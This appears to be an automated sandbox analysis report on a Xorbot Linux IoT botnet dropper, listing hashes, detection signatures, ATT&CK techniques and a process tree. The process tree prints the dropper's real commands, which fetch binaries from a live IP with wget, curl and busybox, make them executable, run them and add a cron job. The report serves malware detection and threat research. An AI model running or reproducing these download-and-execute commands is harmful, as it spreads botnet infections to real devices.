xorbot | 13d0ad7de82db15e9f2f462a10ad39d4b2eb12ec1724bf934a88093b10f90c34

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12/12/2024, 04:11

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General

Target

bins.sh
Size

10KB
MD5

2118fb9c92a7ba630d3685316138e51c
SHA1

2e6e52d7dca81eb572af0190f76c4ae4476163f7
SHA256

13d0ad7de82db15e9f2f462a10ad39d4b2eb12ec1724bf934a88093b10f90c34
SHA512

e4d8fb37070248a12bdd22ef4b1852951590ebd55edcc225d0cf50c918d6ea742e9b026156905a14e2f53fbe6f4d6714aa47615fb10a154e47c82958edd0647d
SSDEEP

96:FcKNpVakr8kEqPLgvHpC8b7PLgvHcBMDIq8yNptcepQ38S/4X:FcGas8ktPLgvHpCqPLgvHiZc/

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2151) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1501	chmod
1509	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc	1502	106inj9otR6duJgzKsGjhlWrN32ycrwJJc
/tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m	1510	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m

Renames itself 1 IoCs

pid	Process
1511	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.KYhhk7	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1588/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1643/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1712/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1715/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1717/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1582/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1604/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/4/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/30/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/80/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/482/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1570/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1577/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1196/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1622/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1688/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/582/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1080/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1573/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1678/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1732/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/169/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/176/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1169/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1616/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1649/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1690/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1599/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1603/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/15/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/679/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1256/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1270/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1555/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1587/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1614/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1624/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1642/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1716/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1747/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1639/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1706/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/10/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/179/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/459/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/460/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/473/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1049/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1696/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1737/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/177/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/426/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1100/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1519/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1654/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1686/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/208/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1549/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/636/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1479/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1641/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1708/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/1738/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
File opened for reading	/proc/970/cmdline	6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc	busybox
File opened for modification	/tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m	wget
File opened for modification	/tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m	curl
File opened for modification	/tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m	busybox
File opened for modification	/tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc	wget
File opened for modification	/tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1484
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1485
- /usr/bin/wget
  wget http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
  2⤵
  - Writes file to tmp directory
  PID:1486
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod 777 106inj9otR6duJgzKsGjhlWrN32ycrwJJc
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
  ./106inj9otR6duJgzKsGjhlWrN32ycrwJJc
  2⤵
  - Executes dropped EXE
  PID:1502
- /bin/rm
  rm 106inj9otR6duJgzKsGjhlWrN32ycrwJJc
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://216.126.231.164/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
  2⤵
  - Writes file to tmp directory
  PID:1505
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
  ./6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1510
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1512
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1513
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1514
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1515
- /bin/rm
  rm 6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://216.126.231.164/bins/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
  2⤵
  PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.KYhhk7

Filesize
210B

MD5
00209c3cf4e9102d3e5dd638d6a72bff

SHA1
f3b94ae3612fa58e0b266be4af6f55262fc9c189

SHA256
e806291f00fa2655ee2e1598bfbdd7dbeb93ea9120d5412ffe7bdb187c0976e2

SHA512
4d98ea1bba106f0974909a2a13fce7c7460d283ddc03a83f64b0932dccf701f28f2f84c4d2c6875c23012cce277154dc4af87925dec74652f86f5dfbb9457b8e

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads